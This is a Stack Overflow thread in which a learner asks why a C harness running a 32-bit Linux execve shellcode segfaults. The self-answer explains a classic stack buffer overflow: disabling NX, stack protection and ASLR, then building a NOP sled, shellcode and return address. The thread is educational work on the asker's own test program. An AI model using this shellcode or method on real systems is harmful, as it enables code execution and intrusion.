0

I've tried to run a lot of shell-codes via C program to test them. Here it is

#include<stdio.h>
#include<string.h>
unsigned char code[] = "shell here";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

And here's example of shellcode

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
          "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
          "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
          "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
          "\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"

(\bin\cat \etc\shadow) After running

gcc sctest.c -o out ./out

It's just gives me shellcode length and Segmentation Fault I've already tried a lot of different shellcodes but everything just gives me segfault My dmesg | tail -1 [18440.783383] test[8768]: segfault at 8049700 ip 08049700 sp bffff2ec error 15 in test[8049000+1000] What's wrong with my shellcodes?

desu
  • 455
  • 2
  • 18
  • 2
    Should be a FAQ by now. On a modern system, just executing data won't work any more, see e.g. *NX bit*. –  Oct 17 '15 at 09:45
  • @FelixPalmen Thanks! I've spend a lot of time trying to understand buffer overflow and now it looks like I'm ready to exploit test program – desu Oct 17 '15 at 09:50
  • to exploit a buffer overflow nowadays, you will need more sophisticated techniques like ROP (return oriented programming) –  Oct 17 '15 at 09:53
  • To the downvoters: I think you shouldn't because something similar comes up now and then and IMHO this would be a great place to clarify why *simple* exploitation just jumping to your own code on the stack won't work any more. Maybe someone feels compelled to write a *good* answer ... –  Oct 17 '15 at 09:57
  • @FelixPalmen I've already read about ROP but I want to start from the very begining – desu Oct 17 '15 at 10:07
  • @FelixPalmen I'm trying to overflow the buffer in a simple program in gdb. Everything goes fine and gdb starts new process. But the next string he gives me says that process is exited normally. What should I do to avoid exiting process? – desu Oct 17 '15 at 10:15
  • @FelixPalmen, if you look in the column on the right of this page there are a lot of reference to shellcode, for example. To me this would indicate that the OP did not provide much search effort before asking. I didn't downvote, but I understand if somebody does in such a case. – Jens Gustedt Oct 17 '15 at 10:38
  • @desu re-read my very first comment. "What should I do to avoid exiting process?" Get some aged machine and OS, maybe a VM will do. –  Oct 17 '15 at 13:52
  • [This](http://stackoverflow.com/q/2340259/5128464) and [this](http://stackoverflow.com/q/23276488/5128464) might help you. – vlp Oct 18 '15 at 18:42
  • @vlp Thanks, but I'm already done – desu Oct 19 '15 at 13:01
  • OK, then please consider sharing your experience in an answer. – vlp Oct 19 '15 at 15:08

1 Answers1

3

After disabling NX-bit and other things like randomize_va_space I've finally done it.

Firstly you should compile your executable with keys -z execstack and -fno-stack-protector.

After that disable ASLR echo 0 > /proc/sys/kernel/randomize_va_space. Now you have to find shellcode. You can try mspayload or msfvenom. Shellcode is a bytecode which usually gives you shell.

On that step you should find offset for your stack overflow. You can try to find lines like 

sub hex-offset, %esp

Or you can try to bruteforce it with simple script like ./your_binary < python -c "print('A')*n") where n is your offset

After finding offset(SEGFAULT occurs and dmesg | tail -1 says that %eip is 0x41414141) you just need to write your exploit. It's structure looks like that

NOPs(no operation)*x+shellcode+return-address(4 bytes)*y

len(shellcode)+x+4y=your offset Where return address is an address of the place in the stack where your NOPs are located(address of %esp which you see in gdb info r before input)

And don't forget that exploit which works in gdb won't work without gdb because you need to add/substract 36 bytes from your return address.

Finally you're ready to exploit

./your_binary < exploit.bin
desu
  • 455
  • 2
  • 18